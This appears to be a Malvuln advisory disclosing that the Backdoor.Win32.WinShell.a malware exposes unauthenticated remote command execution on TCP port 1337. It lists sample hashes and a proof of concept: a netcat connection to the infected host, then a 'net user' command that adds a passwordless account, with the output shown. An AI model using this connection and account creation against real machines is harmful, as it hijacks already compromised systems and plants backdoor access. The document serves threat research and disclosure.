Backdoor.Win32.WinShell.a Code Execution – Geekychild


Backdoor.Win32.WinShell.a malware suffers from a code execution vulnerability.

MD5 | 3a52bb4e1482b1374154e83c7115f037
Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.WinShell.a
Vulnerability: Unauthenticated Remote Command Execution
Description: WinShell listens on TCP port 1337, third-party attackers who can reach the system can execute OS commands further compromising the already infected system.
Type: PE32
MD5: 911a97737bd26e2a478f52e74b4fa01d
Vuln ID: MVID-2021-0233
Disclosure: 05/30/2021

nc64.exe x.x.x.x 1337
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.


C:UsersVictimDesktop>net user hyp3rlinx "" /add
net user hyp3rlinx "" /add
The command completed successfully.

C:UsersVictimDesktop>net user hyp3rlinx
net user hyp3rlinx
User name hyp3rlinx
Full Name
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never

Password last set 4/30/2021 2:42:58 AM
Password expires Never
Password changeable 4/30/2021 2:42:58 AM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon Never

Logon hours allowed All

Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.

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